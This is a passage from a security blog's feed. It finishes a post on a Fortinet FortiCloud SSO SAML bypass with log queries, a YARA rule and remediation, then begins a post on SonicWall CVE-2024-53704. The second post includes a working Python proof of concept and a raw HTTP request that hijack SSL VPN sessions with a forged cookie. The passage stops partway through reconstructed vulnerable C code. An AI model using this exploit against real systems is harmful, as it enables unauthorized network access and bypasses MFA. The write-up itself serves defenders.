&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# All SSO logins in the past 30 days
execute log filter category 0
execute log filter field subtype system
execute log filter field action login
execute log filter field method sso
execute log display
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Configuration downloads
execute log filter category 0
execute log filter field action download
execute log display
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Network-based detection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Monitor for POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/remote/saml/login&lt;/code&gt; with SAML payloads lacking proper signatures. This requires SSL inspection capabilities and deep packet inspection of SAML XML structure.&lt;/p&gt;

&lt;p&gt;YARA rule for SAML responses in network traffic:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rule CVE_2025_59718_SAML_Exploit {
    strings:
        $saml1 = &quot;samlp:Response&quot; nocase
        $saml2 = &quot;Assertion&quot; nocase
        $saml3 = &quot;NameID&quot; nocase
        $endpoint = &quot;/remote/saml/login&quot; nocase
    condition:
        all of them and not (
            $sig1 = &quot;ds:Signature&quot; or
            $sig2 = &quot;SignatureValue&quot;
        )
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Endpoint forensics:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Check web server logs on the FortiGate:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;execute log filter category 1
execute log filter field action login
execute log display
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Review historical SAML authentication attempts:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;diagnose debug application samld -1
diagnose debug enable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: This won’t show historical events, only new ones while debug is enabled.&lt;/p&gt;

&lt;h2 id=&quot;remediation-and-workarounds&quot;&gt;Remediation and Workarounds&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Immediate action required:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Disable FortiCloud SSO&lt;/strong&gt; (if patches can’t be applied immediately):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Via GUI:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;System -&amp;gt; Settings -&amp;gt; Disable &quot;Allow administrative login using FortiCloud SSO&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Via CLI:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config system global
    set admin-forticloud-sso-login disable
end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Verify the setting:&lt;/strong&gt;
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show system global | grep admin-forticloud-sso-login
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Should return: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set admin-forticloud-sso-login disable&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Restrict management access:&lt;/strong&gt;
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config system admin
 edit admin
     set trusthost1 &amp;lt;trusted_subnet&amp;gt; &amp;lt;netmask&amp;gt;
 next
end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Limit admin GUI access to specific trusted networks only. Don’t expose management to the internet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patch upgrade path:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use Fortinet’s upgrade tool to determine safe upgrade paths. Some versions require intermediate upgrades. For example, FortiOS 7.0.17 can’t directly upgrade to 7.6.4 - you need to go through 7.0.18 first.&lt;/p&gt;

&lt;p&gt;Recommended upgrade sequence:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Back up current configuration&lt;/li&gt;
  &lt;li&gt;Test upgrade in non-production environment&lt;/li&gt;
  &lt;li&gt;Schedule maintenance window&lt;/li&gt;
  &lt;li&gt;Upgrade during low-traffic period&lt;/li&gt;
  &lt;li&gt;Verify FortiGuard service connectivity post-upgrade&lt;/li&gt;
  &lt;li&gt;Re-enable FortiCloud SSO only if required&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Post-patch validation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After patching, verify SAML signature enforcement is active:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config user saml
    edit &amp;lt;saml_config_name&amp;gt;
        get
    next
end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set require-signed-resp-and-asrt enable&lt;/code&gt; in versions 7.6.5+.&lt;/p&gt;

&lt;h2 id=&quot;assessment-and-impact&quot;&gt;Assessment and Impact&lt;/h2&gt;

&lt;p&gt;CVE-2025-59718 and CVE-2025-59719 represent everything wrong with authentication bypass vulnerabilities in critical infrastructure devices. The combination of factors makes this particularly nasty:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack complexity:&lt;/strong&gt; Low. Send a crafted HTTP POST request, get admin access.
&lt;strong&gt;Privilege required:&lt;/strong&gt; None. Completely unauthenticated.
&lt;strong&gt;User interaction:&lt;/strong&gt; None. No social engineering required.
&lt;strong&gt;Exploitability:&lt;/strong&gt; Trivial. Public PoC available, observed exploitation within 72 hours.
&lt;strong&gt;Impact:&lt;/strong&gt; Complete device compromise with admin privileges.&lt;/p&gt;

&lt;p&gt;The vulnerability is especially dangerous because FortiCloud SSO is silently enabled during device registration, a workflow most administrators don’t associate with opening security holes. This created widespread exposure without explicit admin awareness.&lt;/p&gt;

&lt;p&gt;The 72-hour window from disclosure to active exploitation demonstrates that threat actors have mature capabilities for rapid weaponization. This wasn’t script kiddies fumbling around - it was organized groups with infrastructure ready to go.&lt;/p&gt;

&lt;p&gt;The targeting of configuration files suggests credential harvesting for persistent access and lateral movement. Expect these stolen credentials to be used in follow-on attacks for months to come.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt; If you run Fortinet devices with FortiCloud SSO enabled on vulnerable versions, assume compromise until proven otherwise. Patch immediately, disable the feature if you can’t patch, and hunt through logs for signs of exploitation.&lt;/p&gt;

&lt;p&gt;The fact that this vulnerability existed in a security appliance’s authentication mechanism - the thing literally designed to verify identity - is ironic in the worst way possible. It’s 2025 and we’re still seeing basic cryptographic verification failures in enterprise security products.&lt;/p&gt;

&lt;p&gt;SAML isn’t new. Signature verification isn’t rocket science. This should never have made it to production.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://fortiguard.fortinet.com/psirt/FG-IR-25-647&quot;&gt;Fortinet PSIRT Advisory FG-IR-25-647&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719/&quot;&gt;Arctic Wolf Security Advisory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-fortinet-cve-2025-59718-cve-2025-59719-exploited-in-the-wild/&quot;&gt;Rapid7 Threat Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/exfil0/CVE-2025-59718-PoC&quot;&gt;GitHub PoC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 06 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/01/06/forti_cve2025-59718/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/01/06/forti_cve2025-59718/</guid>
        
        <category>CVE-2025-59718</category>
        
        <category>CVE-2025-59719</category>
        
        <category>fortinet</category>
        
        <category>forensics</category>
        
        <category>vulnerability</category>
        
      </item>
    
      <item>
        <title>CVE-2024-53704: SonicWall Session Hijack</title>
        <description>&lt;p&gt;On January 7, 2025, SonicWall released patches for CVE-2024-53704, an authentication bypass vulnerability in their SSL VPN implementation that lets attackers hijack active VPN sessions with nothing more than a crafted cookie. The vendor initially reported no exploitation in the wild. That changed fast. By February 10, when Bishop Fox released full technical details and proof-of-concept code, Arctic Wolf was already observing mass exploitation attempts. CISA added it to the Known Exploited Vulnerabilities catalog on February 18. As of early February, over 4,500 internet-facing SonicWall SSL VPN servers remained unpatched.&lt;/p&gt;

&lt;p&gt;This isn’t just another authentication bypass. It’s an elegant example of how a single logic error, a missing else clause in a string comparison loop, creates a gaping hole in enterprise perimeter security. More importantly for defenders, it’s a masterclass in forensic blind spots. The vulnerability lives in the space between authentication and logging, where session hijacking happens quietly and the only reliable indicator is “something felt wrong to the user.”&lt;/p&gt;

&lt;h2 id=&quot;cve-information&quot;&gt;CVE Information&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;CVE-2024-53704&lt;/strong&gt; is an improper authentication vulnerability (CWE-287) in the SonicWall SonicOS SSL VPN component. The flaw exists in the processing of base64-encoded session cookies, specifically within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getSslvpnSessionFromCookie&lt;/code&gt; function. An incorrect implementation of the authentication algorithm allows remote, unauthenticated attackers to bypass authentication and hijack active SSL VPN sessions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVSS Score:&lt;/strong&gt; 9.8 (Critical) per NVD, 8.2 (High) per initial SonicWall advisory
&lt;strong&gt;EPSS Score:&lt;/strong&gt; 0.93819 (99.851st percentile)
&lt;strong&gt;Attack Vector:&lt;/strong&gt; Network
&lt;strong&gt;Attack Complexity:&lt;/strong&gt; Low
&lt;strong&gt;Privileges Required:&lt;/strong&gt; None
&lt;strong&gt;User Interaction:&lt;/strong&gt; None&lt;/p&gt;

&lt;h2 id=&quot;timeline-and-active-exploitation&quot;&gt;Timeline and Active Exploitation&lt;/h2&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;November 5, 2024:&lt;/strong&gt; Vulnerability responsibly disclosed to SonicWall by Computest Security researchers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;January 7, 2025:&lt;/strong&gt; SonicWall releases security advisory SNWLID-2025-0003 and patches. Vendor reports no evidence of exploitation in the wild at the time.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;January 9, 2025:&lt;/strong&gt; ZDI publishes advisory with critical detail: “The specific flaw exists within the processing of Base64-encoded session cookies.” This was the missing piece that made hunting for the bug feasible.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 7, 2025:&lt;/strong&gt; Internet scans identify approximately 4,500 unpatched SSL VPN servers still exposed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 10, 2025:&lt;/strong&gt; Bishop Fox releases full technical analysis, proof-of-concept exploit code, and video demonstration.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 10, 2025 (hours later):&lt;/strong&gt; Arctic Wolf begins observing active exploitation attempts targeting CVE-2024-53704. The POC publication immediately weaponized the vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 18, 2025:&lt;/strong&gt; CISA adds CVE-2024-53704 to Known Exploited Vulnerabilities (KEV) catalog with a March 11, 2025 remediation deadline for federal agencies.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exploitation window narrowed fast. Organizations that didn’t patch within the one-month window between advisory and POC release became targets within hours of the exploit going public. This timeline demonstrates the tactical importance of patching critical infrastructure vulnerabilities on vendor disclosure, not after working exploits hit GitHub.&lt;/p&gt;

&lt;h2 id=&quot;affected-versions-and-patch-status&quot;&gt;Affected Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;The vulnerability affects multiple SonicWall firewall product lines running specific SonicOS firmware versions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Affected Products:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;TZ Series firewalls&lt;/li&gt;
  &lt;li&gt;NSa Series firewalls&lt;/li&gt;
  &lt;li&gt;NSsp Series firewalls&lt;/li&gt;
  &lt;li&gt;NSv Series virtual firewalls (Gen7 Cloud platform)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable Firmware Versions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SonicOS 7.1.x: versions 7.1.1-7058 and earlier&lt;/li&gt;
  &lt;li&gt;SonicOS 7.1.2: version 7.1.2-7019&lt;/li&gt;
  &lt;li&gt;SonicOS 8.0.0: version 8.0.0-8035&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;The exploit is remarkably simple, which is part of what makes it so dangerous. An attacker needs nothing more than the ability to send HTTP requests to the SSL VPN endpoint. No username, no password, no prior access. If there’s an active SSL VPN session on the target firewall, the attacker can hijack it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Requirements:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Target must have SSL VPN enabled and exposed (typically on port 4433)&lt;/li&gt;
  &lt;li&gt;At least one legitimate user must have an active authenticated SSL VPN session&lt;/li&gt;
  &lt;li&gt;No authentication credentials required&lt;/li&gt;
  &lt;li&gt;No user interaction required&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Attack Flow:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Attacker crafts a malicious session cookie containing 32 null bytes, base64-encoded&lt;/li&gt;
  &lt;li&gt;Attacker sends GET request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/cgi-bin/sslvpnclient?launchplatform=&lt;/code&gt; with the crafted cookie&lt;/li&gt;
  &lt;li&gt;Vulnerable SonicOS firmware incorrectly validates the session cookie&lt;/li&gt;
  &lt;li&gt;Server responds with the oldest active SSL VPN session ID&lt;/li&gt;
  &lt;li&gt;Attacker now controls that user’s VPN session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Minimal Python POC:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;https://target:4433/cgi-bin/sslvpnclient?launchplatform=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;swap&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()},&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s it. Fourteen lines of Python, and you’ve bypassed authentication and hijacked an active VPN session, including MFA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What the Attacker Gets:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The server responds with:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The victim user’s session ID (in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;swap&lt;/code&gt; cookie)&lt;/li&gt;
  &lt;li&gt;Virtual Office bookmarks&lt;/li&gt;
  &lt;li&gt;NetExtender client configuration profile&lt;/li&gt;
  &lt;li&gt;Network routes accessible to the hijacked account&lt;/li&gt;
  &lt;li&gt;Username and domain of the compromised session&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With this information, the attacker can:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Establish a full SSL VPN tunnel&lt;/li&gt;
  &lt;li&gt;Access internal networks as the compromised user&lt;/li&gt;
  &lt;li&gt;Bypass all MFA protections&lt;/li&gt;
  &lt;li&gt;Maintain persistence until the legitimate user logs out&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Attack Characteristics:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Targets the oldest active session first&lt;/li&gt;
  &lt;li&gt;Fails silently if no active sessions exist (connection closes with no response)&lt;/li&gt;
  &lt;li&gt;Logging out terminates the session for both attacker and legitimate user&lt;/li&gt;
  &lt;li&gt;Exploitation is intrusive: the victim’s VPN connection drops and reconnects repeatedly during hijacking&lt;/li&gt;
  &lt;li&gt;Post-exploitation actions are transparent to the victim after initial hijacking completes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A Nuclei template for automated detection uses this exact technique:&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;raw&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;Host: &lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;Connection: close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The template checks for HTTP 200 response containing “NELaunchX1” string, indicating successful session hijacking. The EPSS score of 0.93819 reflects the trivial exploitability.&lt;/p&gt;

&lt;h2 id=&quot;technical-analysis-the-authentication-bypass&quot;&gt;Technical Analysis: The Authentication Bypass&lt;/h2&gt;

&lt;p&gt;The vulnerability is a textbook example of how a single missing conditional leads to complete authentication bypass. Let’s walk through the vulnerable code path as reconstructed through reverse engineering by Bishop Fox researchers.&lt;/p&gt;

&lt;h3 id=&quot;the-vulnerable-function-getsslvpnsessionfromcookie&quot;&gt;The Vulnerable Function: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getSslvpnSessionFromCookie&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;The authentication flow begins when a request hits the SSL VPN endpoint with a session cookie. SonicOS checks the cookie length and processes it one of two ways:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getSslvpnSessionFromCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Path 1: 32-character cookie (raw session ID)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifyCookieCheckSum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maybe_verify_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Path 2: 44-character cookie (base64-encoded session ID)&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie_string_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wrap_b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifyCookieCheckSum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maybe_verify_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;maybe_free_mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;getSslvpnSessionFromCookie&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1fa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
